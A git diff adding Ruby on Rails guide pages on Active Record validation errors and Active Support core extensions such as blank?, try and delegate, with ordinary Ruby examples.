+is with the convenient `ActiveModel::EachValidator`. In this case, the custom
+validator class must implement a `validate_each` method which takes three
+arguments: record, attribute and value which correspond to the instance, the
+attribute to be validated and the value of the attribute in the passed
+instance.
+
+```ruby
+class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+      record.errors[attribute] << (options[:message] || "is not an email")
+    end
+  end
+end
+
+class Person < ActiveRecord::Base
+  validates :email, presence: true, email: true
+end
+```
+
+As shown in the example, you can also combine standard validations with your
+own custom validators.
+
+### Custom Methods
+
+You can also create methods that verify the state of your models and add
+messages to the `errors` collection when they are invalid. You must then
+register these methods by using the `validate` class method, passing in the
+symbols for the validation methods' names.
+
+You can pass more than one symbol for each class method and the respective
+validations will be run in the same order as they were registered.
+
+```ruby
+class Invoice < ActiveRecord::Base
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    if expiration_date.present? && expiration_date < Date.today
+      errors.add(:expiration_date, "can't be in the past")
+    end
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    if discount > total_value
+      errors.add(:discount, "can't be greater than total value")
+    end
+  end
+end
+```
+
+By default such validations will run every time you call `valid?`. It is also
+possible to control when to run these custom validations by giving an `:on`
+option to the `validate` method, with either: `:create` or `:update`.
+
+```ruby
+class Invoice < ActiveRecord::Base
+  validate :active_customer, on: :create
+
+  def active_customer
+    errors.add(:customer_id, "is not active") unless customer.active?
+  end
+end
+```
+
+Working with Validation Errors
+------------------------------
+
+In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.
+
+The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.
+
+### `errors`
+
+Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.messages
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors.messages # => {}
+```
+
+### `errors[]`
+
+`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.add`
+
+The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself.
+
+```ruby
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+Another way to do this is using `[]=` setter
+
+```ruby
+  class Person < ActiveRecord::Base
+    def a_method_used_for_validation_purposes
+      errors[:name] = "cannot contain the characters !@#%*()_-+="
+    end
+  end
+
+  person = Person.create(name: "!@#")
+
+  person.errors[:name]
+   # => ["cannot contain the characters !@#%*()_-+="]
+
+  person.errors.to_a
+   # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+### `errors[:base]`
+
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
+
+```ruby
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors[:base] << "This person is invalid because ..."
+  end
+end
+```
+
+### `errors.clear`
+
+The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.size`
+
+The `size` method returns the total number of error messages for the object.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea at example.com")
+person.valid? # => true
+person.errors.size # => 0
+```
+
+Displaying Validation Errors in Views
+-------------------------------------
+
+Once you've created a model and added validations, if that model is created via
+a web form, you probably want to display an error message when one of the
+validations fail.
+
+Because every application handles this kind of thing differently, Rails does
+not include any view helpers to help you generate these messages directly.
+However, due to the rich number of methods Rails gives you to interact with
+validations in general, it's fairly easy to build your own. In addition, when
+generating a scaffold, Rails will put some ERB into the `_form.html.erb` that
+it generates that displays the full list of errors on that model.
+
+Assuming we have a model that's been saved in an instance variable named
+`@post`, it looks like this:
+
+```ruby
+<% if @post.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+
+    <ul>
+    <% @post.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+<% end %>
+```
+
+Furthermore, if you use the Rails form helpers to generate your forms, when
+a validation error occurs on a field, it will generate an extra `<div>` around
+the entry.
+
+```
+<div class="field_with_errors">
+ <input id="post_title" name="post[title]" size="30" type="text" value="">
+</div>
+```
+
+You can then style this div however you'd like. The default scaffold that
+Rails generates, for example, adds this CSS rule:
+
+```
+.field_with_errors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+```
+
+This means that any field with an error ends up with a 2 pixel red border.
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
new file mode 100644
index 0000000..fc1d93f
--- /dev/null
+++ b/guides/source/active_support_core_extensions.md
@@ -0,0 +1,3864 @@
+Active Support Core Extensions
+==============================
+
+Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
+
+It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
+
+After reading this guide, you will know:
+
+* What Core Extensions are.
+* How to load all extensions.
+* How to cherry-pick just the extensions you want.
+* What extensions Active Support provides.
+
+--------------------------------------------------------------------------------
+
+How to Load Core Extensions
+---------------------------
+
+### Stand-Alone Active Support
+
+In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
+
+Thus, after a simple require like:
+
+```ruby
+require 'active_support'
+```
+
+objects do not even respond to `blank?`. Let's see how to load its definition.
+
+#### Cherry-picking a Definition
+
+The most lightweight way to get `blank?` is to cherry-pick the file that defines it.
+
+For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads:
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+That means that you can require it like this:
+
+```ruby
+require 'active_support'
+require 'active_support/core_ext/object/blank'
+```
+
+Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
+
+#### Loading Grouped Core Extensions
+
+The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.
+
+Thus, to load all extensions to `Object` (including `blank?`):
+
+```ruby
+require 'active_support'
+require 'active_support/core_ext/object'
+```
+
+#### Loading All Core Extensions
+
+You may prefer just to load all core extensions, there is a file for that:
+
+```ruby
+require 'active_support'
+require 'active_support/core_ext'
+```
+
+#### Loading All Active Support
+
+And finally, if you want to have all Active Support available just issue:
+
+```ruby
+require 'active_support/all'
+```
+
+That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.
+
+### Active Support Within a Ruby on Rails Application
+
+A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+
+Extensions to All Objects
+-------------------------
+
+### `blank?` and `present?`
+
+The following values are considered to be blank in a Rails application:
+
+* `nil` and `false`,
+
+* strings composed only of whitespace (see note below),
+
+* empty arrays and hashes, and
+
+* any other object that responds to `empty?` and is empty.
+
+INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace.
+
+WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
+
+For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present:
+
+```ruby
+def authenticate(controller, &login_procedure)
+  token, options = token_and_options(controller.request)
+  unless token.blank?
+    login_procedure.call(token, options)
+  end
+end
+```
+
+The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:
+
+```ruby
+def set_conditional_cache_control!
+  return if self["Cache-Control"].present?
+  ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `presence`
+
+The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:
+
+```ruby
+host = config[:host].presence || 'localhost'
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `duplicable?`
+
+A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
+
+```ruby
+1.object_id                 # => 3
+Math.cos(0).to_i.object_id  # => 3
+```
+
+Hence, there's no way these objects can be duplicated through `dup` or `clone`:
+
+```ruby
+true.dup  # => TypeError: can't dup TrueClass
+```
+
+Some numbers which are not singletons are not duplicable either:
+
+```ruby
+0.0.clone        # => allocator undefined for Float
+(2**1024).clone  # => allocator undefined for Bignum
+```
+
+Active Support provides `duplicable?` to programmatically query an object about this property:
+
+```ruby
+"foo".duplicable? # => true
+"".duplicable?     # => true
+0.0.duplicable?   # => false
+false.duplicable?  # => false
+```
+
+By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects.
+
+WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
+
+NOTE: Defined in `active_support/core_ext/object/duplicable.rb`.
+
+### `deep_dup`
+
+The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
+
+```ruby
+array     = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# the object was duplicated, so the element was added only to the duplicate
+array     # => ['string']
+duplicate # => ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# first element was not duplicated, it will be changed in both arrays
+array     # => ['foo']
+duplicate # => ['foo', 'another-string']
+```
+
+As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
+
+If you need a deep copy of an object, you should use `deep_dup`. Here is an example:
+
+```ruby
+array     = ['string']
+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array     # => ['string']
+duplicate # => ['foo']
+```
+
+If the object is not duplicable, `deep_dup` will just return it:
+
+```ruby
+number = 1
+duplicate = number.deep_dup
+number.object_id == duplicate.object_id   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### `try`
+
+When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`.
+
+Here is an example:
+
+```ruby
+# without try
+unless @number.nil?
+  @number.next
+end
+
+# with try
+ at number.try(:next)
+```
+
+Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check.
+
+```ruby
+def log_info(sql, name, ms)
+  if @logger.try(:debug?)
+    name = '%s (%.1fms)' % [name || 'SQL', ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+  end
+end
+```
+
+`try` can also be called without arguments but a block, which will only be executed if the object is not nil:
+
+```ruby
+ at person.try { |p| "#{p.first_name} #{p.last_name}" }
+```
+
+NOTE: Defined in `active_support/core_ext/object/try.rb`.
+
+### `class_eval(*args, &block)`
+
+You can evaluate code in the context of any object's singleton class using `class_eval`:
+
+```ruby
+class Proc
+  def bind(object)
+    block, time = self, Time.current
+    object.class_eval do
+      method_name = "__bind_#{time.to_i}_#{time.usec}"
+      define_method(method_name, &block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`.
+
+### `acts_like?(duck)`
+
+The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines
+
+```ruby
+def acts_like_string?
+end
+```
+
+which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
+
+```ruby
+some_klass.acts_like?(:string)
+```
+
+Rails has classes that act like `Date` or `Time` and follow this contract.
+
+NOTE: Defined in `active_support/core_ext/object/acts_like.rb`.
+
+### `to_param`
+
+All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments.
+
+By default `to_param` just calls `to_s`:
+
+```ruby
+7.to_param # => "7"
+```
+
+The return value of `to_param` should **not** be escaped:
+
+```ruby
+"Tom & Jerry".to_param # => "Tom & Jerry"
+```
+
+Several classes in Rails overwrite this method.
+
+For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/":
+
+```ruby
+[0, true, String].to_param # => "0/true/String"
+```
+
+Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given
+
+```ruby
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+```
+
+we get:
+
+```ruby
+user_path(@user) # => "/users/357-john-smith"
+```
+
+WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`.
+
+NOTE: Defined in `active_support/core_ext/object/to_param.rb`.
+
+### `to_query`
+
+Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given
+
+```ruby
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+```
+
+we get:
+
+```ruby
+current_user.to_query('user') # => user=357-john-smith
+```
+
+This method escapes whatever is needed, both for the key and the value:
+
+```ruby
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+```
+
+so its output is ready to be used in a query string.
+
+Arrays return the result of applying `to_query` to each element with `_key_[]` as key, and join the result with "&":
+
+```ruby
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+```
+
+Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":
+
+```ruby
+{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+```
+
+The method `Hash#to_query` accepts an optional namespace for the keys:
+
+```ruby
+{id: 89, name: "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+```
+
+NOTE: Defined in `active_support/core_ext/object/to_query.rb`.
+
+### `with_options`
+
+The method `with_options` provides a way to factor out common options in a series of method calls.
+
+Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
+
+```ruby
+class Account < ActiveRecord::Base
+  has_many :customers, dependent: :destroy
+  has_many :products,  dependent: :destroy
+  has_many :invoices,  dependent: :destroy
+  has_many :expenses,  dependent: :destroy
+end
+```
+
+this way:
+
+```ruby
+class Account < ActiveRecord::Base
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+```
+
+That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
+
+```ruby
+I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, user_name: user.name
+end
+```
+
+TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
+
+NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
+
+### JSON support
+
+Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation.
+
+NOTE: Defined in `active_support/core_ext/object/json.rb`.
+
+### Instance Variables
+
+Active Support provides several methods to ease access to instance variables.
+
+#### `instance_values`
+
+The method `instance_values` returns a hash that maps instance variable names without "@" to their
+corresponding values. Keys are strings:
+
+```ruby
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+```
+
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
+
+#### `instance_variable_names`
+
+The method `instance_variable_names` returns an array.  Each name includes the "@" sign.
+
+```ruby
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # => ["@x", "@y"]
+```
+
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
+
+### Silencing Warnings, Streams, and Exceptions
+
+The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
+
+```ruby
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+```
+
+You can silence any stream while a block runs with `silence_stream`:
+
+```ruby
+silence_stream(STDOUT) do
+  # STDOUT is silent here
+end
+```
+
+The `quietly` method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
+
+```ruby
+quietly { system 'bundle install' }
+```
+
+For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
+
+Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised:
+
+```ruby
+# If the user is locked the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+  current_user.increment! :visits
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`.
+
+### `in?`
+
+The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`.
+
+Examples of `in?`:
+
+```ruby
+1.in?([1,2])        # => true
+"lo".in?("hello")   # => true
+25.in?(30..50)      # => false
+1.in?(1)            # => ArgumentError
+```
+
+NOTE: Defined in `active_support/core_ext/object/inclusion.rb`.
+
+Extensions to `Module`
+----------------------
+
+### `alias_method_chain`
+
+Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
+
+For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionController::TestCase#process` this way in `test/test_helper.rb`:
+
+```ruby
+ActionController::TestCase.class_eval do
+  # save a reference to the original process method
+  alias_method :original_process, :process
+
+  # now redefine process and delegate to original_process
+  def process(action, params=nil, session=nil, flash=nil, http_method='GET')
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    original_process(action, params, session, flash, http_method)
+  end
+end
+```
+
+That's the method `get`, `post`, etc., delegate the work to.
+
+That technique has a risk, it could be the case that `:original_process` was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
+
+```ruby
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method :process_without_stringified_params, :process
+  alias_method :process, :process_with_stringified_params
+end
+```
+
+The method `alias_method_chain` provides a shortcut for that pattern:
+
+```ruby
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method_chain :process, :stringified_params
+end
+```
+
+Rails uses `alias_method_chain` all over the code base. For example validations are added to `ActiveRecord::Base#save` by wrapping the method that way in a separate module specialized in validations.
+
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
+
+### Attributes
+
+#### `alias_attribute`
+
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
+
+```ruby
+class User < ActiveRecord::Base
+  # let me refer to the email column as "login",
+  # possibly meaningful for authentication code
+  alias_attribute :login, :email
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
+
+#### Internal Attributes
+
+When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
+
+Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
+
+The macro `attr_internal` is a synonym for `attr_internal_accessor`:
+
+```ruby
+# library
+class ThirdPartyLibrary::Crawler
+  attr_internal :log_level
+end
+
+# client code
+class MyCrawler < ThirdPartyLibrary::Crawler
+  attr_accessor :log_level
+end
+```
+
+In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision.
+
+By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`.
+
+Rails uses internal attributes in a few spots, for examples for views:
+
+```ruby
+module ActionView
+  class Base
+    attr_internal :captures
+    attr_internal :request, :layout
+    attr_internal :controller, :template
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
+
+#### Module Attributes
+
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
+
+For example, the dependencies mechanism uses them:
+
+```ruby
+module ActiveSupport
+  module Dependencies
+    mattr_accessor :warnings_on_first_load
+    mattr_accessor :history
+    mattr_accessor :loaded
+    mattr_accessor :mechanism
+    mattr_accessor :load_paths
+    mattr_accessor :load_once_paths
+    mattr_accessor :autoloaded_constants
+    mattr_accessor :explicitly_unloadable_constants
+    mattr_accessor :logger
+    mattr_accessor :log_activity
+    mattr_accessor :constant_watch_stack
+    mattr_accessor :constant_watch_stack_mutex
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
+
+### Parents
+
+#### `parent`
+
+The `parent` method on a nested named module returns the module that contains its corresponding constant:
+
+```ruby
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent       # => X::Y
+```
+
+If the module is anonymous or belongs to the top-level, `parent` returns `Object`.
+
+WARNING: Note that in that case `parent_name` returns `nil`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parent_name`
+
+The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+
+```ruby
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name       # => "X::Y"
+```
+
+For top-level or anonymous modules `parent_name` returns `nil`.
+
+WARNING: Note that in that case `parent` returns `Object`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parents`
+
+The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:
+
+```ruby
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents       # => [X::Y, X, Object]
+```
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+### Constants
+
+The method `local_constants` returns the names of the constants that have been
+defined in the receiver module:
+
+```ruby
+module X
+  X1 = 1
+  X2 = 2
+  module Y
+    Y1 = :y1
+    X1 = :overrides_X1_above
+  end
+end
+
+X.local_constants    # => [:X1, :X2, :Y]
+X::Y.local_constants # => [:Y1, :X1]
+```
+
+The names are returned as symbols.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### Qualified Constant Names
+
+The standard methods `const_defined?`, `const_get` , and `const_set` accept
+bare constant names. Active Support extends this API to be able to pass
+relative qualified constant names.
+
+The new methods are `qualified_const_defined?`, `qualified_const_get`, and
+`qualified_const_set`. Their arguments are assumed to be qualified constant
+names relative to their receiver:
+
+```ruby
+Object.qualified_const_defined?("Math::PI")       # => true
+Object.qualified_const_get("Math::PI")            # => 3.141592653589793
+Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
+```
+
+Arguments may be bare constant names:
+
+```ruby
+Math.qualified_const_get("E") # => 2.718281828459045
+```
+
+These methods are analogous to their builtin counterparts. In particular,
+`qualified_constant_defined?` accepts an optional second argument to be
+able to say whether you want the predicate to look in the ancestors.
+This flag is taken into account for each constant in the expression while
+walking down the path.
+
+For example, given
+
+```ruby
+module M
+  X = 1
+end
+
+module N
+  class C
+    include M
+  end
+end
+```
+
+`qualified_const_defined?` behaves this way:
+
+```ruby
+N.qualified_const_defined?("C::X", false) # => false
+N.qualified_const_defined?("C::X", true)  # => true
+N.qualified_const_defined?("C::X")        # => true
+```
+
+As the last example implies, the second argument defaults to true,
+as in `const_defined?`.
+
+For coherence with the builtin methods only relative paths are accepted.
+Absolute qualified constant names like `::Math::PI` raise `NameError`.
+
+NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`.
+
+### Reachable
+
+A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
+
+That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it:
+
+```ruby
+module M
+end
+
+M.reachable? # => true
+```
+
+But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
+
+```ruby
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# The module object is orphan now but it still has a name.
+orphan.name # => "M"
+
+# You cannot reach it via the constant M because it does not even exist.
+orphan.reachable? # => false
+
+# Let's define a module called "M" again.
+module M
+end
+
+# The constant M exists now again, and it stores a module
+# object called "M", but it is a new instance.
+orphan.reachable? # => false
+```
+
+NOTE: Defined in `active_support/core_ext/module/reachable.rb`.
+
+### Anonymous
+
+A module may or may not have a name:
+
+```ruby
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+```
+
+You can check whether a module has a name with the predicate `anonymous?`:
+
+```ruby
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+```
+
+Note that being unreachable does not imply being anonymous:
+
+```ruby
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+```
+
+though an anonymous module is unreachable by definition.
+
+NOTE: Defined in `active_support/core_ext/module/anonymous.rb`.
+
+### Method Delegation
+
+The macro `delegate` offers an easy way to forward methods.
+
+Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:
+
+```ruby
+class User < ActiveRecord::Base
+  has_one :profile
+end
+```
+
+With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+
+```ruby
+class User < ActiveRecord::Base
+  has_one :profile
+
+  def name
+    profile.name
+  end
+end
+```
+
+That is what `delegate` does for you:
+
+```ruby
+class User < ActiveRecord::Base
+  has_one :profile
+
+  delegate :name, to: :profile
+end
+```
+
+It is shorter, and the intention more obvious.
+
+The method must be public in the target.
+
+The `delegate` macro accepts several methods:
+
+```ruby
+delegate :name, :age, :address, :twitter, to: :profile
+```
+
+When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
+
+```ruby
+# delegates to the Rails constant
+delegate :logger, to: :Rails
+
+# delegates to the receiver's class
+delegate :table_name, to: :class
+```
+
+WARNING: If the `:prefix` option is `true` this is less generic, see below.
+
+By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option:
+
+```ruby
+delegate :name, to: :profile, allow_nil: true
+```
+
+With `:allow_nil` the call `user.name` returns `nil` if the user has no profile.
+
+The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name:
+
+```ruby
+delegate :street, to: :address, prefix: true
+```
+
